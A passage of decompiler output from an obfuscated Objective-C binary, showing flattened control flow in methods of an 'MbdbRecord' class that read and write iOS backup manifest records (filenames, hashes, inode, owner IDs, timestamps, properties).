bool v35; // [rsp+5Fh] [rbp-31h]
int *v36; // [rsp+60h] [rbp-30h]
v32 = 1731224683;
v36 = &v32;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v32 <= 112713854 )
{
if ( v32 <= -1257773345 )
{
if ( v32 > -1723982788 )
{
if ( v32 > -1550199120 )
{
if ( v32 == -1550199119 )
{
v8 = !v35;
v9 = -419741924;
v10 = -83571968;
LABEL_80:
if ( !v8 )
v9 = v10;
goto LABEL_88;
}
if ( v32 == -1449010392 )
{
objc_release(a3);
objc_autoreleaseReturnValue(v33);
*v36 = -693944612;
}
}
else if ( v32 == -1723982787 )
{
*v36 = 1760359482;
}
else if ( v32 == -1627100652 )
{
*v36 = -1184833615;
}
}
else if ( v32 > -1776216202 )
{
if ( v32 == -1776216201 )
{
v18 = objc_msgSend(a3, "subdataWithRange:", v26, v34);
v19 = objc_retainAutoreleasedReturnValue(v18);
v12 = 1;
v25 = v19;
v29 = *a5;
v30 = *a4;
v9 = 1934666559;
v13 = -1817270989;
goto LABEL_86;
}
if ( v32 == -1770976340 )
{
*v36 = -59356588;
v31 = v24;
}
}
else
{
if ( v32 == -1973638594 )
{
v16 = objc_msgSend(v27, v28);
v17 = objc_retainAutoreleasedReturnValue(v16);
v14 = 0;
v24 = v17;
v9 = 1984822933;
v15 = -762823014;
LABEL_74:
if ( v14 )
v9 = v15;
goto LABEL_88;
}
if ( v32 == -1817270989 )
{
v11 = HikariFunctionWrapper_704_1(a3, "subdataWithRange:");
objc_retainAutoreleasedReturnValue(v11);
*v36 = -1776216201;
}
}
}
else if ( v32 <= -687840001 )
{
if ( v32 > -762823015 )
{
if ( v32 == -762823014 )
{
v20 = HikariFunctionWrapper_702_1(v27, v28);
objc_retainAutoreleasedReturnValue(v20);
*v36 = -1973638594;
}
else if ( v32 == -693944612 )
{
objc_release(a3);
objc_autoreleaseReturnValue(v33);
v14 = 1;
v9 = -693944612;
v15 = 112713855;
goto LABEL_74;
}
}
else
{
if ( v32 == -1257773344 )
{
objc_retain(a3);
objc_msgSend(a3, "getBytes:range:", a5, *a4, 2);
v12 = 0;
v23 = *a4;
v9 = 403033271;
v13 = 563439513;
goto LABEL_86;
}
if ( v32 == -1184833615 )
{
v12 = 1;
v9 = -687840000;
v13 = -1627100652;
goto LABEL_86;
}
}
}
else if ( v32 <= -83571969 )
{
if ( v32 == -687840000 )
{
*v36 = -59356588;
v31 = v25;
}
else if ( v32 == -419741924 )
{
v14 = 0;
v9 = -1776216201;
v15 = -1817270989;
goto LABEL_74;
}
}
else
{
switch ( v32 )
{
case -83571968:
v14 = 0;
v9 = 1760359482;
v15 = -1723982787;
goto LABEL_74;
case -59356588:
v33 = v31;
v9 = -693944612;
goto LABEL_88;
case 25775905:
v8 = 0;
v9 = -762823014;
v10 = -1973638594;
goto LABEL_80;
}
}
}
if ( v32 <= 1731224682 )
break;
if ( v32 > 1934666558 )
{
if ( v32 > 1984822932 )
{
if ( v32 == 1984822933 )
{
*v36 = -1770976340;
}
else if ( v32 == 2062813257 )
{
*v36 = 25775905;
}
}
else if ( v32 == 1934666559 )
{
*v36 = 1777376638;
}
else if ( v32 == 1955263114 )
{
v12 = 0;
v9 = -1627100652;
v13 = -1184833615;
goto LABEL_86;
}
}
else if ( v32 > 1760359481 )
{
if ( v32 == 1760359482 )
{
v12 = 1;
v27 = &OBJC_CLASS___NSData;
v28 = "data";
v9 = 2062813257;
v13 = 1760359482;
goto LABEL_86;
}
if ( v32 == 1777376638 )
LABEL_91:
*v36 = 1672483004;
}
else
{
if ( v32 == 1731224683 )
{
v14 = 0;
v9 = -1257773344;
v15 = 403033271;
goto LABEL_74;
}
if ( v32 == 1759976544 )
{
v26 = v23 + 2;
*a4 = v23 + 2;
*v36 = 801553825;
}
}
}
if ( v32 <= 579692940 )
break;
if ( v32 > 1323817068 )
{
if ( v32 == 1323817069 )
{
*v36 = 505313142;
}
else if ( v32 == 1672483004 )
{
v12 = 1;
*a4 = v29 + v30;
v9 = 435093609;
v13 = 579692941;
goto LABEL_86;
}
}
else
{
if ( v32 == 579692941 )
{
*a4 = v29 + v30;
goto LABEL_91;
}
if ( v32 == 801553825 )
{
v8 = 0;
v9 = 1323817069;
v10 = 505313142;
goto LABEL_80;
}
}
}
if ( v32 <= 505313141 )
break;
if ( v32 == 505313142 )
{
v21 = *a5;
v35 = *a5 == 0xFFFF;
v12 = 1;
v34 = v21;
v9 = -1550199119;
v13 = 1323817069;
LABEL_86:
if ( !v12 )
v9 = v13;
LABEL_88:
*v36 = v9;
}
else if ( v32 == 563439513 )
{
*v36 = 1759976544;
}
}
if ( v32 != 403033271 )
break;
objc_retain(a3);
objc_msgSend(a3, "getBytes:range:", a5, *a4, 2);
*v36 = -1257773344;
}
if ( v32 != 435093609 )
break;
*v36 = 1955263114;
}
}
while ( v32 != 112713855 );
return v33;
}
// 100232E9F: variable 'v23' is possibly undefined
// 1002330FF: variable 'v24' is possibly undefined
// 100233229: variable 'v29' is possibly undefined
// 100233229: variable 'v30' is possibly undefined
// 100233259: variable 'v25' is possibly undefined
// 1002332A2: variable 'v31' is possibly undefined
// 1002333A6: variable 'v27' is possibly undefined
// 1002333A6: variable 'v28' is possibly undefined
// 100233436: variable 'v26' is possibly undefined
//----- (000000010023360B) ----------------------------------------------------
void __cdecl -[MbdbRecord setFileHash:](MbdbRecord *self, SEL a2, id a3)
{
int v4; // eax
NSData *v5; // rdi
NSData **p_hashData; // [rsp+8h] [rbp-28h]
int v7; // [rsp+14h] [rbp-1Ch] BYREF
int *v8; // [rsp+18h] [rbp-18h]
objc_retain(a3);
v7 = 1971930982;
v8 = &v7;
do
{
while ( 1 )
{
while ( v7 > 1958506189 )
{
if ( v7 == 1958506190 )
{
*v8 = -2115505309;
}
else if ( v7 == 1971930982 )
{
v4 = -897068946;
LABEL_9:
*v8 = v4;
}
}
if ( v7 != -1248023806 )
break;
*v8 = -897068946;
}
if ( v7 == -897068946 )
{
p_hashData = &self->_hashData;
v4 = 1958506190;
goto LABEL_9;
}
}
while ( v7 != -2115505309 );
v5 = *p_hashData;
*p_hashData = (NSData *)a3;
objc_release(v5);
}
// 100233712: variable 'p_hashData' is possibly undefined
//----- (0000000100233726) ----------------------------------------------------
id __cdecl +[MbdbRecord fromStream:atOffset:](id a1, SEL a2, id a3, unsigned __int64 *a4)
{
bool v4; // cf
int v5; // eax
int v6; // ecx
id v7; // r14
int v8; // ecx
_QWORD *v9; // r15
id v10; // rbx
__int64 v11; // rcx
id v12; // rax
bool v13; // zf
int v14; // ecx
MbdbRecord *v15; // rax
MbdbRecord *v16; // r12
id v17; // r15
_QWORD *v18; // rbx
id v19; // rax
id v20; // rax
id v21; // rax
id v22; // rax
id v23; // rax
id v24; // r14
_BYTE *v25; // r14
id v26; // rax
id v27; // rax
id v28; // rax
id v29; // r14
__int64 v30; // rcx
__int64 v31; // rcx
__int64 v32; // rcx
__int64 v33; // rcx
__int64 v34; // rcx
id v35; // r15
bool v36; // cf
int v37; // ecx
int v38; // eax
id v39; // r12
id v40; // rbx
unsigned __int64 *v41; // r13
id v42; // rax
id v43; // r15
id v44; // rax
id v45; // r12
id v46; // rax
id v47; // r13
id v48; // r14
id v49; // rbx
unsigned __int64 *v50; // r12
id v51; // rax
id v52; // r15
id v53; // rax
id v54; // r12
id v55; // rax
id v56; // r14
id v57; // rbx
id v58; // rax
id v59; // r14
__int64 *v60; // r13
id v61; // rax
id v62; // r15
id v63; // rax
id v64; // rax
id v65; // rax
id v66; // r15
id v67; // rax
id v68; // rax
id v69; // rax
id v70; // r15
__int64 v71; // rcx
__int64 v72; // rcx
__int64 v73; // rcx
__int64 v74; // rcx
_BYTE v76[16]; // [rsp+0h] [rbp-180h] BYREF
__int64 v77; // [rsp+10h] [rbp-170h] BYREF
_BYTE *v78; // [rsp+18h] [rbp-168h]
__int64 *v79; // [rsp+20h] [rbp-160h]
_BYTE *v80; // [rsp+28h] [rbp-158h]
__int64 *v81; // [rsp+30h] [rbp-150h]
_BYTE *v82; // [rsp+38h] [rbp-148h]
__int64 *v83; // [rsp+40h] [rbp-140h]
_BYTE *v84; // [rsp+48h] [rbp-138h]
__int64 *v85; // [rsp+50h] [rbp-130h]
_BYTE *v86; // [rsp+58h] [rbp-128h]
_BYTE *v87; // [rsp+60h] [rbp-120h]
_BYTE *v88; // [rsp+68h] [rbp-118h]
unsigned __int16 *v89; // [rsp+70h] [rbp-110h]
_BYTE *v90; // [rsp+78h] [rbp-108h]
unsigned int *v91; // [rsp+80h] [rbp-100h]
_BYTE *v92; // [rsp+88h] [rbp-F8h]
unsigned int *v93; // [rsp+90h] [rbp-F0h]
unsigned int *v94; // [rsp+98h] [rbp-E8h]
unsigned int *v95; // [rsp+A0h] [rbp-E0h]
_QWORD *v96; // [rsp+A8h] [rbp-D8h]
_BYTE *v97; // [rsp+B0h] [rbp-D0h]
__int64 v98; // [rsp+B8h] [rbp-C8h]
SEL v99; // [rsp+C0h] [rbp-C0h]
SEL v100; // [rsp+C8h] [rbp-B8h]
unsigned int v101; // [rsp+D0h] [rbp-B0h]
int v102; // [rsp+D4h] [rbp-ACh]
int v103; // [rsp+D8h] [rbp-A8h]
int v104; // [rsp+DCh] [rbp-A4h] BYREF
_BYTE *v105; // [rsp+E0h] [rbp-A0h]
_BYTE *v106; // [rsp+E8h] [rbp-98h]
_QWORD *v107; // [rsp+F0h] [rbp-90h]
_QWORD *v108; // [rsp+F8h] [rbp-88h]
id v109; // [rsp+100h] [rbp-80h]
unsigned int v110; // [rsp+108h] [rbp-78h]
int v111; // [rsp+10Ch] [rbp-74h]
SEL v112; // [rsp+110h] [rbp-70h]
id v113; // [rsp+118h] [rbp-68h]
unsigned __int64 *v114; // [rsp+120h] [rbp-60h]
SEL v115; // [rsp+128h] [rbp-58h]
bool v116; // [rsp+137h] [rbp-49h]
id v117; // [rsp+138h] [rbp-48h]
id v118; // [rsp+140h] [rbp-40h]
int *v119; // [rsp+148h] [rbp-38h]
__int64 v120; // [rsp+150h] [rbp-30h]
v114 = a4;
v117 = a3;
v120 = -1;
v109 = a1;
v101 = -1491780753;
v104 = -1714424998;
v119 = &v104;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v104 > 36544658 )
{
if ( v104 <= 775217023 )
{
if ( v104 <= 449220614 )
{
switch ( v104 )
{
case 36544659:
*v119 = -1922962350;
v111 = 0;
break;
case 285409885:
v36 = 0;
v5 = -1840990244;
v37 = -1976424998;
LABEL_84:
if ( v36 )
v5 = v37;
goto LABEL_86;
case 434678099:
*v119 = -1659132525;
break;
}
}
else if ( v104 > 668276064 )
{
if ( v104 == 668276065 )
{
v4 = 1;
v5 = 754102739;
v6 = 2124124474;
goto LABEL_80;
}
if ( v104 == 754102739 )
{
objc_release(v117);
objc_autoreleaseReturnValue(v118);
v13 = 0;
v5 = -1837660654;
v14 = 2124124474;
goto LABEL_76;
}
}
else if ( v104 == 449220615 )
{
v99 = "dictionaryWithObjects:forKeys:count:";
*v119 = -889046975;
}
else if ( v104 == 623981591 )
{
objc_msgSend(v118, "setAtime:", v110);
v98 = *v114 + 4;
v8 = 434678099;
LABEL_69:
v5 = v8;
goto LABEL_86;
}
}
else if ( v104 > 1515813001 )
{
if ( v104 > 2120048664 )
{
if ( v104 == 2120048665 )
{
LODWORD(v106) = 812884946;
v88 = v76;
v89 = (unsigned __int16 *)v76;
v90 = v76;
v91 = (unsigned int *)v76;
v92 = v76;
v93 = (unsigned int *)v76;
v94 = (unsigned int *)v76;
v95 = (unsigned int *)v76;
v96 = v76;
v97 = v76;
v105 = v76;
v107 = v76;
v108 = v76;
v57 = v117;
objc_retain(v117);
v58 = HikariFunctionWrapper_706_1((objc_class *)&OBJC_CLASS___MbdbRecord);
v118 = objc_msgSend(v58, "init");
v112 = "readStringWithData:atOffset:";
v59 = v109;
v60 = (__int64 *)v114;
v61 = objc_msgSend(v109, "readStringWithData:atOffset:", v57, v114);
v62 = objc_retainAutoreleasedReturnValue(v61);
objc_msgSend(v118, "setDomain:", v62);
objc_release(v62);
v63 = HikariFunctionWrapper_708_1(v59, v112);
v64 = objc_retainAutoreleasedReturnValue(v63);
HikariFunctionWrapper_710_0(v118, "setFilename:");
objc_release(v64);
v65 = objc_msgSend(v59, v112, v57, v60);
v66 = objc_retainAutoreleasedReturnValue(v65);
objc_msgSend(v118, "setLink:", v66);
objc_release(v66);
v67 = objc_msgSend(v59, "readBytesWithData:atOffset:length:", v57, v60, v88);
v68 = objc_retainAutoreleasedReturnValue(v67);
HikariFunctionWrapper_712_0(v118, "setHashData:");
objc_release(v68);
v69 = objc_msgSend(v59, "readBytesWithData:atOffset:length:", v57, v60, v88);
v70 = objc_retainAutoreleasedReturnValue(v69);
objc_msgSend(v118, "setKey:", v70);
((void (__fastcall *)(id))objc_release)(v70);
v71 = *v60;
v115 = "getBytes:range:";
objc_msgSend(v57, "getBytes:range:", v89, v71, 2);
objc_msgSend(v118, "setMode:", *v89);
*v60 = (*v60 & 2) + (*v60 | 2);
HikariFunctionWrapper_714_0(v57, v115);
HikariFunctionWrapper_716_0(v118, "setInode:");
*v60 += 8;
HikariFunctionWrapper_718_0(v57, v115);
objc_msgSend(v118, "setUserId:", *v91);
v72 = *v60 + 4;
*v60 = v72;
objc_msgSend(v57, v115, v92, v72, 4);
HikariFunctionWrapper_720_0(v118, "setGroupId:");
v73 = (*v60 ^ 4) + 2 * (*v60 & 4);
*v60 = v73;
objc_msgSend(v57, v115, v93, v73, 4);
objc_msgSend(v118, "setMtime:", *v93);
v74 = *v60 + 4;
*v60 = v74;
objc_msgSend(v57, v115, v94, v74, 4);
v4 = (unsigned int)v106 < 0x80774D93;
v110 = *v94;
v5 = -512254382;
v6 = 2120048665;
LABEL_80:
if ( !v4 )
v5 = v6;
goto LABEL_86;
}
if ( v104 == 2124124474 )
{
objc_release(v117);
objc_autoreleaseReturnValue(v118);
*v119 = 754102739;
}
}
else if ( v104 == 1515813002 )
{
v48 = v109;
v49 = v117;
v50 = v114;
v51 = objc_msgSend(v109, v112, v117, v114);
v52 = objc_retainAutoreleasedReturnValue(v51);
v53 = objc_msgSend(v48, v112, v49, v50);
v54 = objc_retainAutoreleasedReturnValue(v53);
*v108 = v52;
*v107 = v54;
v55 = objc_msgSend(&OBJC_CLASS___NSDictionary, v99, v107, v108, 1);
v56 = objc_retainAutoreleasedReturnValue(v55);
objc_msgSend(v113, v100, v56);
objc_release(v56);
objc_release(v54);
objc_release(v52);
*v119 = 3784486;
}
else if ( v104 == 1765963568 )
{
objc_msgSend(v118, "setAtime:", v110);
*v119 = 623981591;
}
}
else if ( v104 > 1259205630 )
{
if ( v104 == 1259205631 )
{
v13 = 0;
v5 = -1267683898;
v14 = 910438508;
LABEL_76:
if ( v13 )
v5 = v14;
LABEL_86:
*v119 = v5;
}
else if ( v104 == 1457756913 )
{
v38 = 285409885;
if ( v116 )
v38 = -1922962350;
*v119 = v38;
v111 = v102;
}
}
else if ( v104 == 775217024 )
{
*v119 = 1259205631;
}
else if ( v104 == 910438508 )
{
*v119 = -1267683898;
}
}
if ( v104 <= -1480338433 )
break;
if ( v104 > -512254383 )
{
if ( v104 > 3784485 )
{
if ( v104 == 3784486 )
{
v39 = v109;
v40 = v117;
v41 = v114;
v42 = HikariFunctionWrapper_730(v109, v112);
v43 = objc_retainAutoreleasedReturnValue(v42);
v44 = objc_msgSend(v39, v112, v40, v41);
v45 = objc_retainAutoreleasedReturnValue(v44);
*v108 = v43;
*v107 = v45;
v46 = HikariFunctionWrapper_732(&OBJC_CLASS___NSDictionary, v99);
v47 = objc_retainAutoreleasedReturnValue(v46);
HikariFunctionWrapper_734(v113, v100);
objc_release(v47);
objc_release(v45);
objc_release(v43);
v102 = v103 + 1;
v116 = v103 + 1 < (unsigned int)(unsigned __int8)*v105;
v36 = 1;
v5 = 1515813002;
v37 = 1457756913;
goto LABEL_84;
}
if ( v104 == 5712896 )
{
v87 = v76;
v85 = &v77;
v86 = v76;
v83 = &v77;
v84 = v76;
v81 = &v77;
v82 = v76;
v79 = &v77;
v80 = v76;
v77 = (__int64)&v77;
v78 = v76;
v106 = v76;
objc_retain(v117);
v15 = objc_alloc(&OBJC_CLASS___MbdbRecord);
v16 = -[MbdbRecord init](v15, "init");
v17 = v109;
v18 = v114;
v19 = HikariFunctionWrapper_736(v109, "readStringWithData:atOffset:");
v20 = objc_retainAutoreleasedReturnValue(v19);
HikariFunctionWrapper_738(v16, "setDomain:");
objc_release(v20);
v21 = objc_msgSend(v17, "readStringWithData:atOffset:", v117, v18);
v22 = objc_retainAutoreleasedReturnValue(v21);
HikariFunctionWrapper_740(v16, "setFilename:");
objc_release(v22);
v23 = HikariFunctionWrapper_742(v17, "readStringWithData:atOffset:");
v24 = objc_retainAutoreleasedReturnValue(v23);
-[MbdbRecord setLink:](v16, "setLink:", v24);
objc_release(v24);
v25 = v87;
v26 = objc_msgSend(v17, "readBytesWithData:atOffset:length:", v117, v18, v87);
v27 = objc_retainAutoreleasedReturnValue(v26);
HikariFunctionWrapper_744(v16, "setHashData:");
objc_release(v27);
v28 = objc_msgSend(v17, "readBytesWithData:atOffset:length:", v117, v18, v25);
v29 = objc_retainAutoreleasedReturnValue(v28);
-[MbdbRecord setKey:](v16, "setKey:", v29);
objc_release(v29);
objc_msgSend(v117, "getBytes:range:", v86, *v18, 2);
HikariFunctionWrapper_746(v16, "setMode:");
v30 = *v18 + 2LL;
*v18 = v30;
objc_msgSend(v117, "getBytes:range:", v84, v30, 8);
HikariFunctionWrapper_748(v16, "setInode:");
v31 = *v18 + 8LL;
*v18 = v31;
objc_msgSend(v117, "getBytes:range:", v82, v31, 4);
-[MbdbRecord setUserId:](v16, "setUserId:", *((unsigned int *)v81 - 4));
v32 = *v18 + 4LL;
*v18 = v32;
objc_msgSend(v117, "getBytes:range:", v80, v32, 4);
-[MbdbRecord setGroupId:](v16, "setGroupId:", *((unsigned int *)v79 - 4));
v33 = *v18 + 4LL;
*v18 = v33;
objc_msgSend(v117, "getBytes:range:", v78, v33, 4);
-[MbdbRecord setMtime:](v16, "setMtime:", *(unsigned int *)(v77 - 16));
v34 = *v18 + 4LL;
*v18 = v34;
objc_msgSend(v117, "getBytes:range:", v106, v34, 4);
*v119 = 2120048665;
}
}
else if ( v104 == -512254382 )
{
*v119 = -1441588479;
}
else if ( v104 == -87585805 )
{
*v119 = 36544659;
}
}
else if ( v104 > -1267683899 )
{
if ( v104 == -1267683898 )
{
v36 = 1;
v5 = 910438508;
v37 = -1706402948;
goto LABEL_84;
}
if ( v104 == -889046975 )
{
v4 = 1;
v5 = -2107318186;
v6 = -1480338432;
goto LABEL_80;
}
}
else if ( v104 == -1480338432 )
{
*v119 = -2107318186;
}
else if ( v104 == -1441588479 )
{
v4 = 1;
v5 = 623981591;
v6 = 1765963568;
goto LABEL_80;
}
}
if ( v104 > -1837660655 )
break;
if ( v104 > -1922962351 )
{
if ( v104 == -1922962350 )
{
v103 = v111;
v36 = 1;
v5 = 1515813002;
v37 = 3784486;
goto LABEL_84;
}
if ( v104 == -1840990244 )
{
v35 = HikariFunctionWrapper_728_0(v113, "copy");
objc_msgSend(v118, "setProperties:", v35);
objc_release(v35);
objc_release(v113);
v36 = 1;
v5 = -1840990244;
v37 = 775217024;
goto LABEL_84;
}
}
else
{
if ( v104 == -2107318186 )
{
v100 = "addObject:";
v8 = -87585805;
goto LABEL_69;
}
if ( v104 == -1976424998 )
{
v7 = objc_msgSend(v113, "copy");
objc_msgSend(v118, "setProperties:", v7);
objc_release(v7);
objc_release(v113);
*v119 = -1840990244;
}
}
}
if ( v104 <= -1706402949 )
break;
if ( v104 == -1706402948 )
{
*v119 = 668276065;
}
else if ( v104 == -1659132525 )
{
v9 = v114;
*v114 = v98;
v10 = v117;
objc_msgSend(v117, v115, v95, v98, 4);
objc_msgSend(v118, "setCtime:", *v95);
*v9 += 4LL;
HikariFunctionWrapper_722_0(v10, v115);
objc_msgSend(v118, "setSize:", *v96);
*v9 = (*v9 & 8LL) + (*v9 | 8LL);
HikariFunctionWrapper_724_0(v10, v115);
HikariFunctionWrapper_726_0(v118, "setFlags:");
v11 = (*v9 & 1LL) + (*v9 | 1LL);
*v9 = v11;
objc_msgSend(v10, v115, v105, v11, 1);
++*v9;
v12 = +[NSMutableArray array](&OBJC_CLASS___NSMutableArray, "array");
v113 = objc_retainAutoreleasedReturnValue(v12);
v13 = *v105 == 0;
v5 = 449220615;
v14 = 285409885;
goto LABEL_76;
}
}
if ( v104 == -1714424998 )
{
v36 = v101 < 0x27FC475C;
v5 = 2120048665;
v37 = 5712896;
goto LABEL_84;
}
}
while ( v104 != -1837660654 );
return v118;
}
// 1002342DF: conditional instruction was optimized away because zf.1==0
// 10025FA70: using guessed type __objc2_class OBJC_CLASS___MbdbRecord;
//----- (0000000100234931) ----------------------------------------------------
void __cdecl -[MbdbRecord writeStringWithLength:toData:](MbdbRecord *self, SEL a2, id a3, id a4)
{
int v6; // eax
char v7; // cf
int v8; // ecx
id v9; // rax
id v10; // r12
bool v11; // zf
int v12; // ecx
id v13; // rax
id v14; // r12
unsigned __int16 v15; // [rsp+8h] [rbp-48h]
const char *v16; // [rsp+10h] [rbp-40h]
int v17; // [rsp+18h] [rbp-38h] BYREF
bool v18; // [rsp+1Dh] [rbp-33h]
__int16 v19; // [rsp+1Eh] [rbp-32h] BYREF
int *v20; // [rsp+20h] [rbp-30h]
objc_retain(a3);
objc_retain(a4);
v15 = (unsigned __int16)objc_msgSend(a3, "lengthOfBytesUsingEncoding:", 4);
v17 = 1414047222;
v20 = &v17;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v17 <= 334849734 )
{
if ( v17 > -571937294 )
{
if ( v17 <= -166618774 )
{
switch ( v17 )
{
case -571937293:
goto LABEL_40;
case -344936490:
*v20 = -166618773;
break;
case -322217159:
LABEL_40:
*v20 = -1344882134;
break;
}
}
else if ( v17 > 105871916 )
{
if ( v17 == 105871917 )
{
objc_release(a4);
objc_release(a3);
v7 = 1;
v6 = 1717162303;
goto LABEL_72;
}
if ( v17 == 188317276 )
{
v6 = -166618773;
goto LABEL_75;
}
}
else
{
if ( v17 == -166618773 )
{
v7 = 1;
v16 = "dataUsingEncoding:";
v6 = 1357126576;
v8 = -166618773;
goto LABEL_73;
}
if ( v17 == -92298057 )
*v20 = -877156257;
}
}
else if ( v17 <= -1188224439 )
{
switch ( v17 )
{
case -1915883482:
*v20 = -1050829588;
break;
case -1897579879:
objc_release(a4);
objc_release(a3);
*v20 = 105871917;
break;
case -1344882134:
v7 = 1;
v6 = 1936452796;
v8 = -571937293;
goto LABEL_73;
}
}
else if ( v17 > -1050829589 )
{
if ( v17 == -1050829588 )
{
*v20 = -1176635287;
}
else if ( v17 == -877156257 )
{
v7 = 1;
v6 = 105871917;
LABEL_72:
v8 = -1897579879;
LABEL_73:
if ( !v7 )
v6 = v8;
LABEL_75:
*v20 = v6;
}
}
else if ( v17 == -1188224438 )
{
*v20 = -322217159;
}
else if ( v17 == -1176635287 )
{
v6 = 1403018719;
goto LABEL_75;
}
}
if ( v17 > 1414047221 )
break;
if ( v17 <= 1255416848 )
{
switch ( v17 )
{
case 334849735:
v9 = HikariFunctionWrapper_750(a3, v16);
v10 = objc_retainAutoreleasedReturnValue(v9);
objc_msgSend(a4, "appendData:", v10);
objc_release(v10);
v11 = 0;
v6 = 1364800734;
v12 = -1915883482;
goto LABEL_63;
case 546892828:
*v20 = 1846551727;
break;
case 1079731862:
v7 = 0;
v6 = 546892828;
v8 = 1846551727;
goto LABEL_73;
}
}
else if ( v17 > 1364800733 )
{
if ( v17 == 1364800734 )
{
v13 = objc_msgSend(a3, v16, 4);
v14 = objc_retainAutoreleasedReturnValue(v13);
objc_msgSend(a4, "appendData:", v14);
objc_release(v14);
*v20 = 334849735;
}
else if ( v17 == 1403018719 )
{
v7 = 1;
v6 = -92298057;
v8 = 2097241093;
goto LABEL_73;
}
}
else
{
if ( v17 == 1255416849 )
{
v6 = 334849735;
goto LABEL_75;
}
if ( v17 == 1357126576 )
*v20 = 1255416849;
}
}
if ( v17 <= 1846551726 )
break;
if ( v17 > 1936452795 )
{
if ( v17 == 1936452796 )
{
v11 = !v18;
v6 = 188317276;
v12 = -1176635287;
LABEL_63:
if ( !v11 )
v6 = v12;
goto LABEL_75;
}
if ( v17 == 2097241093 )
*v20 = 1403018719;
}
else
{
if ( v17 == 1846551727 )
{
v11 = 0;
v6 = 1846551727;
v12 = 1420780146;
goto LABEL_63;
}
if ( v17 == 1880278675 )
{
v19 = __ROL2__(v15, 8);
objc_msgSend(a4, "appendBytes:length:", &v19, 2);
v18 = v19 == 0;
v6 = -1188224438;
goto LABEL_75;
}
}
}
if ( v17 <= 1467277200 )
break;
if ( v17 == 1467277201 )
{
v19 = __ROL2__(v15, 8);
HikariFunctionWrapper_752(a4, "appendBytes:length:");
LABEL_57:
*v20 = 1880278675;
}
else if ( v17 == 1717162303 )
{
*v20 = 1079731862;
}
}
if ( v17 == 1414047222 )
goto LABEL_57;
}
while ( v17 != 1420780146 );
}
// 100234DB9: variable 'v16' is possibly undefined
//----- (0000000100234FE5) ----------------------------------------------------
void __cdecl -[MbdbRecord writeTimeField:toData:](MbdbRecord *self, SEL a2, unsigned int a3, id a4)
{
unsigned __int32 v5; // r14d
int v6; // eax
__int64 v7; // [rsp+0h] [rbp-50h] BYREF
unsigned __int32 *v8; // [rsp+8h] [rbp-48h]
int v9; // [rsp+14h] [rbp-3Ch]
unsigned __int32 v10; // [rsp+18h] [rbp-38h]
int v11; // [rsp+1Ch] [rbp-34h] BYREF
int *v12; // [rsp+20h] [rbp-30h]
v9 = -896640417;
v11 = 820881229;
v12 = &v11;
v5 = _byteswap_ulong(a3);
do
{
while ( 1 )
{
while ( 1 )
{
while ( v11 > 354531731 )
{
if ( v11 > 820881228 )
{
if ( v11 == 1756895719 )
{
*v12 = 443428560;
}
else if ( v11 == 820881229 )
{
v6 = 443428560;
if ( v9 == 31842709 )
v6 = 1756895719;
LABEL_23:
*v12 = v6;
}
}
else if ( v11 == 354531732 )
{
*v12 = -418348718;
}
else if ( v11 == 443428560 )
{
v8 = (unsigned __int32 *)(&v7 - 2);
v10 = v5;
v6 = -741951847;
goto LABEL_23;
}
}
if ( v11 <= -741951848 )
break;
if ( v11 == -741951847 )
{
*v12 = -1238308790;
}
else if ( v11 == -418348718 )
{
*v12 = -1287964287;
}
}
if ( v11 == -1864027915 )
{
v6 = -418348718;
goto LABEL_23;
}
if ( v11 != -1238308790 )
break;
*v8 = v10;
objc_msgSend(a4, "appendBytes:length:", v8, 4);
*v12 = -1864027915;
}
}
while ( v11 != -1287964287 );
}
//----- (00000001002351FC) ----------------------------------------------------
id __cdecl -[MbdbRecord toBytes](MbdbRecord *self, SEL a2)
{
id v2; // rax
bool v3; // zf
int v4; // eax
int v5; // ecx
char v6; // cf
int v7; // ecx
bool v8; // zf
int v9; // ecx
unsigned __int16 v10; // ax
id v11; // rax
unsigned __int16 v12; // ax
id v13; // rax
char v14; // cf
int v15; // ecx
id v16; // rax
id v17; // rax
NSString *v18; // rax
NSString *v19; // rax
id v20; // rax
id v21; // rax
NSData *v22; // rax
NSData *v23; // r14
unsigned __int16 v24; // r15
NSData *v25; // rax
id v26; // rax
id v27; // r14
NSString *v28; // rax
NSString *v29; // r14
NSString *v30; // rax
NSString *v31; // r14
NSData *v32; // rax
NSData *v33; // r14
unsigned __int16 v34; // r15
id v35; // rax
id v36; // rax
id v37; // rax
id v38; // rax
id v39; // r14
unsigned __int8 v40; // r15
__int64 *v41; // rax
id v42; // rax
id v43; // rax
unsigned int v44; // eax
unsigned int v45; // eax
unsigned int v46; // eax
unsigned int v47; // eax
unsigned int v48; // eax
id v49; // rax
unsigned __int8 v50; // al
int v51; // eax
id v52; // rax
id v53; // r14
unsigned __int8 v54; // r15
__int64 *v55; // rax
id v56; // rax
id v57; // rax
id v58; // rax
id v59; // rax
id v60; // rax
id v61; // rax
id v62; // rax
id v63; // r14
id v64; // rax
id v65; // r15
unsigned int v66; // eax
unsigned int v67; // eax
unsigned int v68; // eax
id v69; // rax
unsigned __int8 v70; // al
id v71; // rax
id v72; // rax
id v73; // rax
id v74; // r14
id v75; // rax
id v76; // r15
id v77; // rax
int v78; // eax
__int64 v80; // [rsp+0h] [rbp-190h] BYREF
SEL v81; // [rsp+8h] [rbp-188h]
id v82; // [rsp+10h] [rbp-180h]
id v83; // [rsp+18h] [rbp-178h]
__int64 v84; // [rsp+20h] [rbp-170h]
_QWORD *v85; // [rsp+28h] [rbp-168h]
SEL v86; // [rsp+30h] [rbp-160h]
__int64 v87; // [rsp+38h] [rbp-158h]
id v88; // [rsp+40h] [rbp-150h]
id v89; // [rsp+48h] [rbp-148h]
SEL v90; // [rsp+50h] [rbp-140h]
SEL v91; // [rsp+58h] [rbp-138h]
SEL v92; // [rsp+60h] [rbp-130h]
id v93; // [rsp+68h] [rbp-128h]
const char *v94; // [rsp+70h] [rbp-120h]
__int64 **v95; // [rsp+78h] [rbp-118h]
SEL v96; // [rsp+80h] [rbp-110h]
SEL v97; // [rsp+88h] [rbp-108h]
id v98; // [rsp+90h] [rbp-100h]
id v99; // [rsp+98h] [rbp-F8h]
id v100; // [rsp+A0h] [rbp-F0h]
__int64 v101; // [rsp+A8h] [rbp-E8h]
__int64 v102; // [rsp+B0h] [rbp-E0h]
int v103; // [rsp+B8h] [rbp-D8h]
int v104; // [rsp+BCh] [rbp-D4h] BYREF
__int64 *v105; // [rsp+C0h] [rbp-D0h]
__int64 *v106; // [rsp+C8h] [rbp-C8h]
